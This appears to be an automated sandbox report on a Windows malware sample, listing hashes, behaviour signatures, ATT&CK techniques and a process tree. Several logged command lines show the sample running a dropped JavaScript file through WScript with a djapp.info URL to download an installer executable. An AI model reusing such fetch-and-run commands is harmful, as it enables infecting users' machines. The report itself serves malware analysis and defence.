a10cacd82aae66dbfc16919d08a6870188f3f4b980411fa5743dfd9ee79a3f5e

General

Target
9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe
Size 184KB
Sample240610-tkjfgsseqa
SHA256 a10cacd82aae66dbfc16919d08a6870188f3f4b980411fa5743dfd9ee79a3f5e
MD5 9b406d90e69bc4fba734729a71e1bf5b
SHA1 c4f1d1e662e1fd6df01f7f1b5f00f0104a4e003a
SHA512 25f874186a80b8548073a5ef00ff0294bbcb5570d2b9fb5f9926777adbc1570bd4340e6f87d4a37637903f1e1aa22733b3ac6e140f5854d33d9be23692fbd9b8
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3J:/7BSH8zUB+nGESaaRvoB7FJNndnI
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3624	4564	WerFault.exe	90

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 4888	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	91
PID 4564 wrote to memory of 4888	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	91
PID 4564 wrote to memory of 4888	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	91
PID 4564 wrote to memory of 4692	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	100
PID 4564 wrote to memory of 4692	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	100
PID 4564 wrote to memory of 4692	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	100
PID 4564 wrote to memory of 3732	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	106
PID 4564 wrote to memory of 3732	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	106
PID 4564 wrote to memory of 3732	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	106
PID 4564 wrote to memory of 3472	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	107
PID 4564 wrote to memory of 3472	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	107
PID 4564 wrote to memory of 3472	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	107
PID 4564 wrote to memory of 1352	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	108
PID 4564 wrote to memory of 1352	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	108
PID 4564 wrote to memory of 1352	4564	9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe	108

C:\Users\Admin\AppData\Local\Temp\9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9b406d90e69bc4fba734729a71e1bf5b_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEEA6.js" http://www.djapp.info/?domain=dAFnLczfNS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufEEA6.exe
  2⤵
  PID:4888
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEEA6.js" http://www.djapp.info/?domain=dAFnLczfNS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufEEA6.exe
  2⤵
  PID:4692
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEEA6.js" http://www.djapp.info/?domain=dAFnLczfNS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufEEA6.exe
  2⤵
  PID:3732
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEEA6.js" http://www.djapp.info/?domain=dAFnLczfNS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufEEA6.exe
  2⤵
  PID:3472
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufEEA6.js" http://www.djapp.info/?domain=dAFnLczfNS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufEEA6.exe
  2⤵
  PID:1352
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 1452
  2⤵
  - Program crash
  PID:3624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4200,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=4040 /prefetch:8
1⤵
PID:4068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4564 -ip 4564
1⤵
PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fufEEA6.js

Path C:\Users\Admin\AppData\Local\Temp\fufEEA6.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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